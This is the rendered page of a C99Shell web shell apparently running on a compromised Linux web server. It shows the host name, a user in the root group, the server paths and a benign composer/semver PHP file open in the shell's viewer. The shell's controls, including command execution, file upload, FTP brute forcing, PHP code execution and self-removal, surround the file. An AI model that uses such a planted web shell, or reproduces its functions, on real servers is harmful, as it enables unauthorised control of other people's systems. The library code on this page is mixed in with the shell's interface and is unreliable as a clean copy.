!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html_v5_10/vendor/composer/semver/src/   drwxr-xr-x
Free 28.55 GB of 117.98 GB (24.2%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CompilingMatcher.php (2.78 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of composer/semver.
 *
 * (c) Composer <https://github.com/composer>
 *
 * For the full copyright and license information, please view
 * the LICENSE file that was distributed with this source code.
 */

namespace Composer\Semver;

use 
Composer\Semver\Constraint\Constraint;
use 
Composer\Semver\Constraint\ConstraintInterface;

/**
 * Helper class to evaluate constraint by compiling and reusing the code to evaluate
 */
class CompilingMatcher
{
    
/**
     * @var array
     * @phpstan-var array<string, callable>
     */
    
private static $compiledCheckerCache = array();
    
/**
     * @var array
     * @phpstan-var array<string, bool>
     */
    
private static $resultCache = array();

    
/** @var bool */
    
private static $enabled;

    
/**
     * @phpstan-var array<Constraint::OP_*, Constraint::STR_OP_*>
     */
    
private static $transOpInt = array(
        
Constraint::OP_EQ => Constraint::STR_OP_EQ,
        
Constraint::OP_LT => Constraint::STR_OP_LT,
        
Constraint::OP_LE => Constraint::STR_OP_LE,
        
Constraint::OP_GT => Constraint::STR_OP_GT,
        
Constraint::OP_GE => Constraint::STR_OP_GE,
        
Constraint::OP_NE => Constraint::STR_OP_NE,
    );

    
/**
     * Clears the memoization cache once you are done
     *
     * @return void
     */
    
public static function clear()
    {
        
self::$resultCache = array();
        
self::$compiledCheckerCache = array();
    }

    
/**
     * Evaluates the expression: $constraint match $operator $version
     *
     * @param ConstraintInterface $constraint
     * @param int                 $operator
     * @phpstan-param Constraint::OP_*  $operator
     * @param string              $version
     *
     * @return bool
     */
    
public static function match(ConstraintInterface $constraint$operator$version)
    {
        
$resultCacheKey $operator.$constraint.';'.$version;

        if (isset(
self::$resultCache[$resultCacheKey])) {
            return 
self::$resultCache[$resultCacheKey];
        }

        if (
self::$enabled === null) {
            
self::$enabled = !\in_array('eval'explode(',', (string) ini_get('disable_functions')), true);
        }
        if (!
self::$enabled) {
            return 
self::$resultCache[$resultCacheKey] = $constraint->matches(new Constraint(self::$transOpInt[$operator], $version));
        }

        
$cacheKey $operator.$constraint;
        if (!isset(
self::$compiledCheckerCache[$cacheKey])) {
            
$code $constraint->compile($operator);
            
self::$compiledCheckerCache[$cacheKey] = $function = eval('return function($v, $b){return '.$code.';};');
        } else {
            
$function self::$compiledCheckerCache[$cacheKey];
        }

        return 
self::$resultCache[$resultCacheKey] = $function($versionstrpos($version'dev-') === 0);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0045 ]--